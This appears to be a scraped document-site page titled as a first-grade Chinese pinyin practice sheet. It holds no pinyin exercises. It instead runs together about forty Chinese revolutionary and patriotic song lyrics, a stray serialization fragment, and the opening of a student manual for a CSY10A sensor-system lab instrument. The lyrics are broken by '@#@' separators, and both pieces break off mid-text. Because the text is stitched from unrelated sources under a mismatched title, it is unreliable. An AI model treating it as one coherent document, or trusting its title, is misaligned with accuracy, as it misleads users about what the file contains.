部编版语文一年级拼音一天一练文档格式.docx
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"100首红歌歌词精品@#@ @#@ @#@@#@1.十送红军@#@(合)一送里格红军@#@介支个下了山@#@秋风里格细雨..@#@介支个缠绵绵..@#@山上里格野鹿@#@声声哀号@#@树树里个梧桐@#@叶呀叶落光@#@问一声亲人红军啊..@#@几时里格人马@#@介支个再回山@#@(男)三送里格红军@#@介支个到拿山.@#@山上里格包谷..@#@介支个金灿灿@#@包谷种子@#@介支个红军种@#@包谷棒棒咱们穷人掰.@#@紧紧拉着红军手@#@红军啊@#@撒下的种子@#@介支个红了天@#@(女)五送里格红军@#@介支个过了坡@#@鸿雁里格阵阵@#@介支个空中过@#@鸿雁里格能够@#@捎来书信@#@鸿雁里格飞到天涯海角@#@千言万语嘱咐@#@红军啊@#@捎信里格多把.@#@介支个革命说@#@(女)七送里格红军@#@介支个五斗江@#@江上里格船儿@#@介支个穿梭忙@#@千军万马@#@介支个江畔站@#@十万百姓泪汪汪@#@思情似海不能忘@#@红军啊@#@革命成功@#@介支个早回乡@#@(男)九送红军上大道@#@锣儿无声鼓不敲@#@鼓不敲@#@双双里格拉着长茧的手@#@心像里格黄莲脸在笑@#@血肉之情怎能忘@#@红军啊@#@盼望里格早日..@#@介支个传捷报@#@(合)十送里格红军@#@介支个望月亭@#@望月里格亭上@#@介支个搭高台@#@高台里格十丈@#@白玉柱@#@雕龙里格画凤@#@放呀放光彩@#@朝也盼来晚也想@#@红军啊@#@这台里格名叫..@#@介支个望红台@#@2.红军战士想念毛泽东@#@抬头望见指路灯@#@心中想念毛泽东@#@想念毛泽东@#@迷路时想您有方向@#@黑夜里想您照路程@#@黑夜里想您照路程@#@湘江畔您燃起火炬通天亮@#@号召工农闹革命@#@井岗山您率领我们打天下@#@红旗一展满地红@#@抬头望见北斗星@#@心中想念毛泽东@#@想念毛泽东@#@困难时想您有力量@#@胜利时想您心里明@#@胜利时想您心里明@#@瑞金城您首创革命根据地@#@工农掌权好威风@#@赣江边您率领我们反“围剿”@#@杀败蒋匪百万兵@#@啊...@#@红军是您亲手创@#@战略是您亲手定@#@革命战士怀念您@#@伟大的领袖毛泽东@#@革命战士怀念你@#@伟大的领袖毛泽东@#@3.红星歌@#@红星闪闪放光彩@#@红星灿灿暖胸怀@#@红星是咱工农的心@#@党的光辉照万代@#@红星是咱工农的心@#@党的光辉照万代@#@长夜里红星闪闪驱黑暗@#@寒冬里红星闪闪迎春来@#@斗争中红星闪闪指方向@#@征途上红星闪闪把路开@#@红星闪闪放光彩@#@红星灿灿暖胸怀@#@跟着毛主席跟着党@#@闪闪的红星传万代@#@跟着毛主席跟着党@#@闪闪的红星传万代@#@ @#@@#@4.映山红@#@夜半三更盼天明@#@寒冬腊月哟盼春风@#@若要盼得哟红军来@#@岭上开遍哟映山红@#@若要盼得哟红军来@#@岭上开遍哟映山红@#@岭上开遍哟映山红@#@岭上开遍哟映山红@#@5.情深谊长@#@五彩云霞空中飘@#@天上飞来金丝鸟@#@五彩云霞空中飘@#@天上飞来金丝鸟@#@哎…哎…@#@红军是咱们的亲兄弟@#@长征不怕路途遥@#@索玛花儿一朵朵@#@红军从咱家乡过哎-…哎-…@#@红军走的是革命的路@#@革命的花儿开在咱心窝@#@五彩云霞空中飘@#@天上飞来金丝鸟@#@哎…哎…@#@红军走的是革命的路@#@革命的花儿开在咱心窝@#@6.过雪山草地@#@雪皑皑,野茫茫,高原寒,炊断粮。
@#@@#@红军都是钢铁汉,千锤百炼不怕难。
@#@@#@雪山低头迎远客,草毯泥毡扎营盘。
@#@@#@雪皑皑,野茫茫,高原寒,炊断粮。
@#@@#@红军都是钢铁汉,千锤百炼不怕难。
@#@@#@雪山低头迎远客,草毯泥毡扎营盘。
@#@@#@风雨侵衣骨更硬,野菜充饥志越坚,志越坚。
@#@@#@官兵一致同甘苦,革命理想高于天,高于天。
@#@@#@(合)风雨侵衣骨更硬,野菜充饥志越坚,志越坚。
@#@啊啊@#@官兵一致同甘苦,革命理想高于天,高于天。
@#@@#@风雨侵衣骨更硬,野菜充饥志越坚,志越坚。
@#@@#@官兵一致同甘苦,革命理想高于天,高于天。
@#@@#@7.五月的鲜花@#@五月的鲜花,开遍了原野,@#@鲜花掩盖着志士的鲜血。
@#@@#@为了挽救这垂危的民族,@#@他们曾顽强地抗战不歇。
@#@@#@如今的东北已沦亡了四年,@#@我们天天在痛苦地熬煎。
@#@@#@失掉自由更失掉了饭碗,@#@屈辱地忍受那无情的皮鞭。
@#@@#@敌人的铁蹄已越过了长城,@#@中原大地依旧歌舞升平。
@#@@#@亲善睦邻呵卑污的投降,@#@忘掉了国家更忘掉了我们。
@#@@#@再也忍不住这满腔的怒恨@#@我们期待着这一声怒吼@#@吼声惊起这不幸的一群@#@被压迫者一起挥动拳头@#@8.保卫黄河@#@风在吼.@#@马在叫.@#@黄河在咆哮.@#@黄河在咆哮.@#@河西山冈万丈高.@#@河东河北高粱熟了.@#@万山丛中,@#@抗日英雄真不少!
@#@@#@青纱帐里,游击健儿逞英豪!
@#@@#@端起了土枪洋枪,@#@挥动着大刀长矛,@#@保卫家乡!
@#@@#@保卫黄河!
@#@@#@保卫华北!
@#@@#@保卫全中国!
@#@@#@9.在太行山上@#@红日照遍了东方(照遍了东方)@#@自由之神在纵情歌唱(纵情歌唱)@#@看吧!
@#@千山万壑铜壁铁墙@#@抗日的烽火燃烧在太行山上(太行山上)@#@气焰千万丈(千万丈)@#@听吧母亲叫儿打东洋妻子送郎上战场(上战场)@#@我们在太行山上我们在太行山上@#@山高林又密兵强马又壮(马又壮)@#@敌人从哪里进攻我们就要他在哪里灭亡@#@敌人从哪里进攻我们就要他在哪里灭亡@#@灭亡!
@#@(灭亡!
@#@)@#@10.二月里来@#@二月里来呀好春光,@#@家家户户种田忙。
@#@@#@指望着今年的收成好,@#@多捐些五谷充军粮。
@#@@#@二月里来呀好春光,@#@家家户户种田忙。
@#@@#@种瓜的得瓜呀,@#@种豆的收豆,@#@谁种下仇恨他自己遭殃!
@#@@#@加紧生产呦加紧生产,@#@努力苦干努力苦干!
@#@@#@年老的年少的在后方,多出点劳力也是抗战。
@#@@#@11.游击队之歌@#@我们都是神枪手@#@每一颗子弹消灭一个敌人@#@我们都是飞行军@#@哪怕那山高水又深@#@在密密的树林里@#@到处都安排同志们的宿营地@#@在高高的山岗上@#@有我们无数的好兄弟@#@没有吃,没有穿,@#@自有那敌人送上前@#@没有枪,没有炮@#@敌人给我们造@#@我们生长在这里@#@每一寸土地都是我们自己的@#@无论谁要强占去@#@我们就和他拼到底!
@#@@#@12.延安颂@#@夕阳照耀着山头的塔影@#@月色映照着河边的流萤@#@春风吹遍了坦平的原野@#@群山结成了坚固的围屏@#@啊延安@#@你这庄严雄伟的古城@#@到处传遍了抗战的歌声@#@啊延安@#@你这庄严雄伟的古城@#@热血在你胸中奔腾@#@千万颗青年的心@#@埋藏着对敌人的仇恨@#@在山野田间长长的行列@#@结成了坚固的阵线@#@看群众已抬起了头@#@看群众已扬起了手@#@无数的人和无数的心@#@发出了对敌人的怒吼@#@士兵瞄准了枪口@#@准备和敌人搏斗@#@啊延安@#@你这庄严雄伟的城墙@#@筑成坚固的抗敌的阵线@#@你的名字将万古流芳@#@在历史上灿烂辉煌@#@13.南泥湾@#@花蓝的花儿香@#@听我来唱一唱@#@唱一呀唱@#@来到了南泥湾@#@南泥湾好地方@#@好地呀方@#@往年的南泥湾@#@处处是荒山@#@没呀人烟@#@如今的南泥湾@#@与往年不一般@#@不一般@#@如今的南泥湾@#@与往年不一般@#@再不是旧模样@#@是陕北的好江南@#@花蓝的花儿香@#@听我来唱一唱@#@唱一唱@#@来到了南泥湾@#@南泥湾好地方@#@好地方@#@好地方呀好风光@#@好地方呀好风光@#@到处是庄稼@#@遍地是牛羊@#@14.东方红@#@东方红@#@太阳升@#@中国出了个毛泽东@#@他为人民谋幸福@#@呼儿嗨哟@#@他是人民大救星@#@他为人民谋幸福@#@呼儿嗨哟@#@他是人民大救星@#@毛主席@#@爱人民@#@他是我们的带路人@#@为了建设新中国@#@呼儿嗨哟@#@领导我们向前进@#@为了建设新中国@#@呼儿嗨哟@#@领导我们向前进@#@共产党@#@象太阳@#@照到那里那里亮@#@那里有了共产党@#@呼儿嗨哟@#@那里人民得解放@#@那里有了共产党@#@呼儿嗨哟@#@那里人民得解放@#@东方红@#@太阳升@#@中国出了个毛泽东@#@他为人民谋幸福@#@呼儿嗨哟@#@他是人民大救星@#@他为人民谋幸福@#@呼儿嗨哟@#@他是人民大救星@#@大救星@#@15.歌唱二小放牛郎@#@牛儿还在山坡吃草@#@放牛的却不知道哪儿去了@#@不是他贪玩耍丢了牛@#@那放牛的孩子王二小@#@九月十六那天早上@#@敌人向一条山沟扫荡@#@山沟里掩护着后方机关@#@掩护着几千老乡@#@正在那十分危急的时候@#@敌人快要走到山口@#@昏头昏脑地迷失了方向@#@抓住了二小要他带路@#@二小他顺从地走在前面@#@把敌人带进我们的埋伏圈@#@四下里乒乒乓乓响起了枪炮@#@敌人才知道受了骗@#@敌人把二小挑在枪尖@#@摔死在大石头的上面@#@我们那十三岁的二小@#@可怜他死的这样惨@#@干部和老乡得到了安全@#@他却睡在冰冷的山间@#@他的脸上含着微笑@#@他的血染红蓝的天@#@秋风吹遍了每个村@#@它把这动人的故事传扬@#@每一个老乡都含着眼泪@#@歌唱着二小放牛郎@#@@#@16.团结就是力量@#@团结就是力量@#@团结就是力量@#@这力量是铁@#@这力量是钢@#@比铁还硬,比钢还强@#@向着法西斯蒂开火@#@让一切不民主的制度死亡!
@#@@#@向着太阳,向着自由@#@向着新中国发出万丈光芒!
@#@@#@团结就是力量@#@团结就是力量@#@这力量是铁@#@这力量是钢@#@比铁还硬,比钢还强@#@向着法西斯蒂开火@#@让一切不民主的制度死亡!
@#@@#@向着太阳,向着自由@#@向着新中国发出万丈光芒@#@17.谁不说俺家乡好@#@一座座青山紧相连@#@一朵朵白云绕山间@#@一片片梯田一层层绿@#@一阵阵歌声随风传@#@哎谁不说俺家乡好@#@得儿哟咿儿哟@#@一阵阵歌声随风传@#@弯弯的河水流不尽@#@高高的松柏万年青@#@男女老少一条心@#@鱼水难分一家人@#@哎谁不说俺家乡好@#@得儿哟咿儿哟@#@鱼水难分一家人@#@绿油油的果树满山岗@#@望不尽的麦浪闪金光@#@丰收的歌声响四方@#@幸福的歌声千年万年长@#@哎谁不说俺家乡好@#@得儿哟咿儿哟@#@幸福的歌声千年万年长@#@18.红梅赞 @#@@#@红岩上红梅开@#@千里冰霜脚下踩@#@三九严寒何所惧@#@一片丹心向阳开向阳开@#@红梅花儿开@#@朵朵放光彩@#@昂首怒放花万朵@#@香飘云天外@#@唤醒百花齐开放@#@高歌欢庆新春来新春来新春来@#@红岩上红梅开@#@千里冰霜脚下踩@#@一片丹心向阳开向阳开@#@三九严寒何所惧@#@红梅花儿开@#@朵朵放光彩@#@昂首怒放花万朵@#@香飘云天外@#@唤醒百花齐开放@#@高歌欢庆新春来新春来新春来@#@红梅花儿开@#@朵朵放光彩@#@昂首怒放花万朵@#@香飘云天外@#@唤醒百花齐开放@#@高歌欢庆新春来新春来新春来@#@19.没有共产党就没有新中国@#@没有共产党就没有新中国@#@没有共产党就没有新中国@#@共产党辛劳为民族@#@共产党他一心救中国@#@他指给了人民解放的道路@#@他领导中国走向光明@#@他坚持抗战八年多@#@他改善了人民生活@#@他建设了敌后根据地@#@他实行了民主好处多@#@没有共产党就没有新中国@#@没有共产党就没有新中国@#@ @#@@#@20.咱们工人有力量!
@#@@#@嘿!
@#@咱们工人有力量!
@#@@#@每天每日工作忙,@#@嘿!
@#@每天每日工作忙,@#@盖成了高楼大厦,@#@修起了铁路煤矿,@#@改造得世界变呀变了样!
@#@@#@嘿"@#@动了机器轰隆隆响@#@举起了铁锤响叮当,@#@造成了犁锄好生产哟,@#@造成了枪炮送前方!
@#@@#@嘿!
@#@嘿!
@#@嘿!
@#@嘿!
@#@@#@咱们脸上放红光!
@#@@#@咱们的汗珠往下淌@#@为什么@#@为了求解放@#@为什么@#@为了求解放@#@嘿!
@#@嘿,@#@为咱全中国彻底解放!
@#@@#@咱们工人有力量!
@#@@#@嘿!
@#@咱们工人有力量!
@#@@#@每天每日工作忙,@#@嘿!
@#@每天每日工作忙,@#@盖成了高楼大厦,@#@修起了铁路煤矿,@#@改造得世界变呀变了样!
@#@@#@嘿"@#@动了机器轰隆隆响@#@举起了铁锤响叮当,@#@造成了犁锄好生产哟,@#@造成了枪炮送前方!
@#@@#@嘿!
@#@嘿!
@#@嘿!
@#@嘿!
@#@@#@咱们脸上放红光!
@#@@#@咱们的汗珠往下淌@#@为什么@#@为了求解放@#@为什么@#@为了求解放@#@嘿!
@#@嘿,@#@为咱全中国彻底解放!
@#@@#@21.革命人永远是年轻@#@革命人永远是年轻@#@革命人永远是年轻@#@它好比大松树冬夏常青@#@它不怕风吹雨打@#@它不怕天寒地冻@#@它不摇也不动@#@永远挺立在山巅@#@革命人永远是年轻@#@它好比大松树冬夏常青@#@它不怕风吹雨打@#@它不怕天寒地冻@#@它不摇也不动@#@永远挺立在山巅@#@---梦之旅合唱组合---@#@革命人永远是年轻@#@它好比大松树冬夏常青@#@永远挺立在山巅@#@革命人永远是年轻@#@它好比大松树冬夏常青@#@它不怕风吹雨打@#@它不怕天寒地冻@#@它不摇也不动@#@永远挺立在山巅@#@革命人永远是年轻@#@它好比大松树冬夏常青@#@它不怕风吹雨打@#@它不怕天寒地冻@#@它不摇也不动@#@永远挺立在山巅@#@在山巅@#@22.歌唱祖国@#@五星红旗迎风飘扬,@#@胜利歌声多么响亮!
@#@@#@歌唱我们亲爱的祖国,@#@从今走向繁荣富强!
@#@@#@歌唱我们亲爱的祖国,@#@从今走向繁荣富强!
@#@@#@越过高山,越过平原,@#@跨过奔腾的黄河长江;@#@@#@宽广美丽的土地,@#@是我们亲爱的家乡.@#@英雄的人民站起来了!
@#@@#@我们团结友爱坚强如钢!
@#@@#@五星红旗迎风飘扬,@#@胜利歌声多么响亮!
@#@@#@歌唱我们亲爱的祖国,@#@从今走向繁荣富强!
@#@@#@歌唱我们亲爱的祖国,@#@从今走向繁荣富强!
@#@@#@我们勤劳,我们勇敢,@#@独立自由是我们的理想;@#@@#@我们战胜了多少苦难,@#@才得到今天的解放!
@#@@#@我们爱和平,我们爱家乡.@#@谁敢侵犯我们就叫他灭亡!
@#@@#@五星红旗迎风飘扬,@#@胜利歌声多么响亮!
@#@@#@歌唱我们亲爱的祖国,@#@从今走向繁荣富强!
@#@@#@歌唱我们亲爱的祖国,@#@从今走向繁荣富强!
@#@@#@东方太阳,正在升起,@#@人民共和国正在成长;@#@@#@我们领袖毛泽东,@#@指引着前进的方向.@#@我们的生活天天向上,@#@我们的前途万丈光芒!
@#@@#@五星红旗迎风飘扬,@#@胜利歌声多么响亮!
@#@@#@歌唱我们亲爱的祖国,@#@从今走向繁荣富强!
@#@@#@歌唱我们亲爱的祖国,@#@从今走向繁荣富——强!
@#@@#@23.草原上升起不落的太阳@#@蓝蓝的天上白云飘@#@白云下面马儿跑@#@挥动鞭儿响四方@#@百鸟齐飞翔@#@要是有人来问我@#@这是什么地方@#@我就骄傲地告诉他@#@这是我的家乡@#@----------------------@#@这里的人们爱和平@#@也热爱家乡@#@歌唱自己的新生活@#@歌唱共产党@#@毛主席啊共产党@#@抚育我们成长@#@草原上升起不——落的—太—阳————……@#@ @#@@#@24.我的祖国@#@一条大河波浪宽@#@风吹稻花香两岸@#@我家就在岸上住@#@听惯了艄公的号子@#@看惯了船上的白帆@#@姑娘好像花儿一样@#@小伙儿心胸多宽广@#@为了开辟新天地@#@唤醒了沉睡的高山@#@让那河流改变了模样@#@这是美丽的祖国@#@是我生长的地方@#@在这片辽阔的土地上@#@到处都有明媚的风光@#@好山好水好地方@#@条条大路都宽畅@#@朋友来了有好酒@#@若是那豺狼来了@#@迎接它的有猎枪@#@这是英雄的祖国@#@是我生长的地方@#@在这片古老的土地上@#@到处都有青春的力量@#@好山好水好地方@#@条条大路都宽畅@#@朋友来了有好酒@#@若是那豺狼来了@#@迎接它的有猎枪@#@这是强大的祖国@#@是我生长的地方@#@在这片温暖的土地上@#@到处都有灿烂的阳光@#@25.英雄赞歌@#@风烟滚滚唱英雄@#@四面青山侧耳听侧耳听@#@晴天响雷敲金鼓@#@大海扬波作和声@#@人民战士驱虎豹@#@舍生忘死保和平@#@为什么战旗美如画@#@英雄的鲜血染红了它@#@为什么大地春常在@#@英雄的生命开鲜花@#@一声吼叫炮声隆@#@翻江倒海天地崩天地崩@#@双手紧握爆破筒@#@怒目喷火热血涌@#@敌人腐烂变泥土@#@勇士辉煌化金星@#@为什么战旗美如画@#@英雄的鲜血染红了它@#@为什么大地春常在@#@英雄的生命开鲜花@#@26.毛主席的话儿记心上@#@太阳出来照四方@#@毛主席的思想闪金光@#@太阳照得人身暖哎@#@毛主席思想的光辉照得咱心里亮@#@照得咱心里亮...@#@主席的思想传四方@#@革命的人民有了主张@#@男女老少齐参战哎@#@人民战争就是那无敌的力量@#@是无敌的力量...@#@主席的话儿记心上@#@哪怕敌人逞凶狂@#@咱们摆下了天罗地网哎@#@要把那些强盗豺狼全都埋葬@#@全都埋葬...@#@把他们全埋葬...@#@27.远方的客人请你留下来@#@路旁的花儿正在开@#@树上果儿等人摘等人摘@#@路旁的花儿正在开@#@树上果儿等人摘等人摘@#@瑟罗瑟罗瑟罗里唉罗唉@#@远方的客人请你留下@#@远方的客人哪请你留下来@#@唉~罗唉罗唉罗唉瑟罗里瑟@#@远方的客人请你留下来@#@远方的客人哪请你留下来@#@唉~罗唉罗唉罗唉@#@----@#@丰润的谷穗迎风摆@#@期待人们割下来割下来@#@丰润的谷穗迎风摆@#@期待人们割下来割下来@#@瑟罗瑟罗瑟罗里唉罗唉@#@远方的客人请你留下@#@远方的客人哪请你留下来@#@唉~罗唉罗唉罗唉瑟罗里瑟@#@远方的客人请你留下来@#@远方的客人哪请你留下来@#@唉~罗唉罗唉罗唉@#@ @#@@#@28.快乐的节日@#@小鸟在前面带路@#@风儿吹向我们@#@我们像春天一样@#@来到花园里来到草地上@#@鲜艳的红领巾@#@美丽的衣裳@#@像许多花儿开放@#@跳啊跳啊跳啊@#@跳啊跳啊跳啊@#@亲爱的叔叔阿姨@#@同我们一齐过呀过这快乐的节日@#@花儿向我们点头@#@白杨树哗啦啦地响@#@它们像美丽的小鸟@#@向我们祝福向我们歌唱@#@它们都说世界上@#@有我们更美丽@#@世界上有我们就更美丽@#@感谢亲爱的祖国@#@让我们自由地成长@#@我们像小鸟一样@#@等身上的羽毛长得丰满@#@就勇敢地向着高空去飞翔@#@飞向我们的理想@#@29.我们的田野@#@月色荷塘@#@我们的田野@#@美丽的田野@#@碧绿的河水@#@流过无边的稻田@#@无边的稻田@#@好像起伏的海面@#@平静的湖中@#@开满了荷花@#@金色的鲤鱼@#@长得多么的肥大@#@湖边的芦苇中@#@藏着成群的野鸭@#@风吹着森林@#@雷一样的轰响@#@伐木的工人@#@请出一棵棵大树@#@去建造楼房@#@去建造矿山和工厂@#@高高的天空@#@雄鹰在飞翔@#@好像在守卫@#@辽阔美丽的土地@#@一会儿在草原@#@一会儿又向森林飞去@#@ @#@@#@30.让我们荡起双桨@#@让我们荡起双桨@#@小船儿推开波浪@#@海面倒映着美丽的白塔@#@四周环绕着绿树红墙@#@还记得那是在我@#@很小很小的时候@#@这是一首@#@每个孩子都会唱的歌@#@经过了这么多年@#@岁月变迁@#@直到今天@#@我还依然怀念这首歌@#@它把我带回到那从前@#@追忆童年@#@让我们荡起双桨@#@小船儿推开波浪@#@海面倒映着美丽的白塔@#@四周环绕着绿树红墙@#@小船儿轻轻飘荡在水中@#@迎面吹来凉爽的风@#@小船儿轻轻飘荡在水中@#@迎面吹来凉爽的风@#@迎面吹来凉爽的风@#@ @#@@#@31.人民军队忠于党@#@雄伟的井冈山@#@八一军旗红@#@开天辟地第一回@#@人民有了子弟兵@#@从无到有靠谁人@#@伟大的共产党@#@伟大的毛泽东@#@伟大的毛泽东@#@两万五千里万水千山@#@突破重围去抗日@#@高举红旗上延安@#@转危为安靠谁人@#@伟大的共产党@#@伟大的毛泽东@#@伟大的毛泽东@#@抗战八年整@#@打败侵略者@#@解放战争得胜利@#@建立人民新中国@#@成长壮大靠谁人@#@伟大的共产党@#@伟大的毛泽东@#@伟大的毛泽东@#@万里长江水@#@奔腾向海洋@#@保卫祖国作栋梁@#@人民军队忠于党@#@共产主义定胜利@#@万岁共产党@#@万岁毛泽东@#@万岁毛泽东@#@万岁毛泽东@#@32.我爱祖国的蓝天@#@我爱祖国的蓝天,晴空万里阳光灿烂,@#@白云为我铺大道,东风送我飞向前。
@#@@#@金色的朝霞在我身边飞舞,@#@脚下是一片锦绣河山。
@#@@#@啊,啊,水兵爱大海,骑兵爱草原,@#@要问飞行员爱什么?
@#@我爱祖国的蓝天。
@#@@#@我爱祖国的蓝天,云海茫茫一望无边,@#@春雷为我敲战鼓,红日照我把敌歼。
@#@@#@美丽的长虹搭起彩门,@#@迎接着雄鹰胜利凯旋。
@#@@#@水兵爱大海,骑兵爱草原,@#@要问飞行员爱什么?
@#@我爱祖国的蓝天。
@#@@#@美丽的长虹搭起彩门,@#@迎接着雄鹰胜利凯旋。
@#@@#@水兵爱大海,骑兵爱草原,@#@要问飞行员爱什么?
@#@我爱祖国的蓝天。
@#@@#@33.我们走在大路上@#@意气风发斗志昂扬@#@毛主席领导革命队伍@#@披荆斩棘奔向前方@#@向前进!
@#@向前进!
@#@@#@革命气势不可阻挡@#@向前进!
@#@向前进!
@#@@#@朝着胜利的方向@#@五星红旗迎风飘扬@#@劳动人民发奋图强@#@勤恳建设锦绣河山@#@誓把祖国变成天堂@#@向前进!
@#@向前进!
@#@@#@革命气势不可阻挡@#@向前进!
@#@向前进!
@#@@#@朝着胜利的方向@#@我们的道路多么宽广@#@我们的前程无比辉煌@#@我们献身这壮丽的事业@#@无限幸福无限荣光@#@向前进!
@#@向前进!
@#@@#@革命气势不可阻挡@#@向前进!
@#@向前进!
@#@@#@朝着胜利的方向@#@我们走在大路上@#@我们走在大路上@#@我们走在大路上@#@我们走在大路上@#@向前进!
@#@向前进!
@#@@#@革命气势不可阻挡(不可阻挡)@#@向前进!
@#@向前进!
@#@@#@朝着胜利的方向@#@34.唱支山歌给党听@#@我把党来比母亲;@#@@#@母亲只生了我的身,@#@党的光辉照我心。
@#@@#@旧社会鞭子抽我身,@#@母亲只会泪淋林;@#@@#@共产党号召我闹革命,@#@夺过鞭子揍敌人。
@#@@#@共产党号召我闹革命,@#@夺过鞭子,夺过鞭子揍敌人!
@#@@#@唱支山歌给党听,@#@我把党来比母亲;@#@@#@母亲只生了我的身,@#@党的光辉照我心,@#@党的光辉照我心@#@ @#@@#@35.翻身农奴把歌唱@#@太阳啊霞光万丈@#@雄鹰啊展翅飞翔@#@高原春光无限好@#@叫我怎能不唱歌@#@雪山呵闪银光@#@雅鲁藏布江翻波浪@#@驱散乌云见太阳@#@革命道路多宽广@#@毛主席呀红太阳@#@救星就是共产党@#@翻身农奴把歌唱@#@幸福的歌声传四方@#@ @#@@#@36.我为祖国献石油@#@锦绣河山美如画@#@祖国建设跨骏马@#@我当个石油工人多荣耀@#@头戴铝盔走天涯@#@头顶天山鹅毛雪@#@面对戈壁大风沙@#@嘉临江边迎朝阳@#@昆仑山下送晚霞@#@天不怕,地不怕@#@风雪雷电任随它@#@我为祖国献石油@#@那里有石油@#@那里就是我的家@#@红旗飘飘迎彩霞@#@英雄扬鞭催战马@#@我当个石油工人多荣耀@#@头戴铝盔走天涯@#@茫茫草原立井架@#@云雾深处把井打@#@地下原油见晴天@#@祖国盛开石油花@#@天不怕,地不怕@#@放眼世界雄心大@#@我为祖国献石油@#@石油滚滚流@#@我的心里乐开了花@#@37.边疆处处赛江南@#@人人都说江南好@#@我说边疆赛江南@#@诶来来来@#@赛呀赛江南@#@朝霞染湖水@#@雪山倒影映蓝天@#@啊呀勒@#@黄昏烟波里@#@战士归来鱼满船@#@鱼呀鱼满船@#@牛羊肥来瓜果鲜@#@红花如火遍草原@#@诶来来来@#@人人都说江南好@#@我说边疆赛江南@#@诶来来来@#@赛呀赛江南@#@林带千百里@#@万古荒原变良田@#@啊呀勒@#@渠水滚滚流@#@红旗飘处绿浪翻@#@绿呀绿浪翻@#@汽车飞奔烟成卷@#@棉似海来粮如山@#@诶来来来@#@诶@#@伟大领袖毛泽东@#@领导我们永远向前永@#@革命大旗高高举,@#@天山南北红光闪@#@啊呀呦,啊呀呦!
@#@红光闪,@#@红呀红光闪.@#@嗨!
@#@各民族兄弟干劲冲天,@#@要让边疆处处赛江南.@#@诶!
@#@来来来来来来,@#@诶!
@#@来来来来来来,@#@诶!
@#@@#@38.工人阶级硬骨头@#@跟着毛泽东我们向前走@#@胸怀祖国放眼世界@#@革命的路上决不停留@#@高举红旗勇敢前进@#@我们是新时代的火车头@#@我们是新时代的火车头@#@工人阶级硬骨头@#@跟着毛泽东我们向前走@#@自力更生艰苦奋斗@#@建设的路上决不停留@#@高举红旗勇敢前进@#@我们是新时代的火车头@#@我们是新时代的火车头@#@ @#@@#@39.我爱北京天安门@#@我爱北京天安门@#@我爱北京天安门@#@天安门上太阳升@#@伟大领袖毛主席@#@指引我们向前进@#@我爱北京天安门@#@天安门上太阳升@#@伟大领袖毛主席@#@指引我们向前进@#@我爱北京天安门@#@天安门上太阳升@#@伟大领袖毛主席@#@指引我们向前进@#@我爱北京天安门@#@天安门上太阳升@#@伟大领袖毛主席@#@指引我们向前进@#@我爱北京天安门@#@天安门上太阳升@#@伟大领袖毛主席@#@指引我们向前进@#@40.北京颂歌@#@灿烂的朝霞,@#@升起在金色的北京,@#@庄严的乐曲,@#@道着祖国的黎明@#@啊,@#@北京啊北京,@#@祖国的心脏@#@团结的象征,@#@人民的骄傲,@#@胜利的保证.@#@各族人民把你赞颂,@#@你是我们心中的一颗明亮的星@#@火红的太阳,@#@照耀在中南海上@#@伟大的首都,@#@你是毛主席居住的地方@#@啊,@#@北京啊北京,@#@大庆红旗向你飞舞,";i:
1;s:
27691:
"10A型传感器系统实验仪实验指导学生@#@使用说明@#@(仪器使用前请详阅此章)@#@CSY系列(CSY.CSY10.CSY10A.CSY10B)传感器系统实验仪是用于检测仪表类课程教学实验的多功能教学仪器。
@#@其特点是集被测体、各种传感器、信号激励源、处理电路和显示器于一体,可以组成一个完整的测试系统。
@#@通过实验指导书所提供的数十种实验举例,能完成包含光、磁、电、温度、位移、振动、转速等内容的测试实验。
@#@通过这些实验,实验者可对各种不同的传感器及测量电路原理和组成有直观的感性认识,并可在本仪器上举一反三开发出新的实验内容。
@#@@#@实验仪主要由实验工作台、处理电路、信号与显示电路三部分组成。
@#@各款实验仪的传感器配置及布局是:
@#@(具体布局详见各款仪器工作台布局图)@#@一、位于仪器顶部的实验工作台部分,左边是一副平行式悬臂梁,梁上装有应变式、热敏式、P-N结温度式、热电式和压电加速度五种传感器。
@#@@#@平行梁上梁的上表面和下梁的下表面对应地贴有八片应变片,受力工作片分别用符号和表示。
@#@其中六片为金属箔式片(BHF-350)。
@#@横向所贴的两片为温度补偿片,用符号和表示。
@#@片上标有“BY”字样的为半导体式应变片,灵敏系数130。
@#@(CSY10B型应变梁上只贴有半导体应变计。
@#@)@#@热电式(热电偶):
@#@串接工作的两个铜一康铜热电偶(T分度)分别装在上、下梁表面,冷端温度为环境温度。
@#@分度表见实验指导书。
@#@(CSY10B型上梁表面安装一支K分度标准热电偶。
@#@)@#@热敏式:
@#@上梁表面装有玻璃珠状的半导体热敏电阻MF-51,负温度系数,25℃时阻值为8~10K。
@#@@#@P-N结温度式:
@#@根据半导体P-N结温度特性所制成的具有良好线性范围的集成温度传感器。
@#@@#@压电加速度式:
@#@位于悬臂梁自由端部,由PZT-5双压电晶片、铜质量块和压簧组成,装在透明外壳中。
@#@@#@实验工作台左边是由装于机内的另一副平行梁带动的圆盘式工作台。
@#@圆盘周围一圈安装有(依逆时针方向)电感式(差动变压器)、电容式、磁电式、霍尔式、电涡流式、压阻式等传感器。
@#@@#@电感式(差动变压器):
@#@由初级线圈Li和两个次级线圈L。
@#@绕制而成的空心线圈,圆柱形铁氧体铁芯置于线圈中间,测量范围>@#@10mm。
@#@@#@电容式:
@#@由装于圆盘上的一组动片和装于支架上的两组定片组成平行变面积式差动电容,线性范围≥3mm。
@#@@#@磁电式:
@#@由一组线圈和动铁(永久磁钢)组成,灵敏度0.4V/m/s。
@#@@#@霍尔式:
@#@半导体霍尔片置于两个半环形永久磁钢形成的梯度磁场中,线性范围≥3mm。
@#@@#@电涡流式:
@#@多股漆包线绕制的扁平线圈与金属涡流片组成的传感器,线性范围>@#@1mm。
@#@@#@MPX压阻式:
@#@摩托罗拉扩散硅压力传感器,差压工作,测压范围0~50KP。
@#@精度1%。
@#@(CSY10B)@#@湿敏传感器:
@#@高分子湿敏电阻,测量范围:
@#@0~99%RH。
@#@@#@气敏传感器:
@#@MQ3型,对酒精气敏感,测量范围10-2000PPm,灵敏度RO/R>5。
@#@@#@光敏传感器:
@#@半导体光导管,光电阻与暗电阻从nMΩ至nKΩ@#@双孔悬臂梁称重传感器:
@#@称重范围0~500g,精度1%。
@#@@#@光电式传感器装于电机侧旁。
@#@@#@CSY10B上热释电红外传感器装于旋转页轮前面。
@#@@#@两副平行式悬臂梁顶端均装有置于激振线圈内的永久磁钢,右边圆盘式工作台由“激振I”带动,左边平行式悬臂梁由“激振II”带动。
@#@@#@为进行温度实验,左边悬臂梁之间装有电加热器一组,加热电源取自15V直流电源,打开加热开关即能加热,工作时能获得高于温度30℃左右的升温。
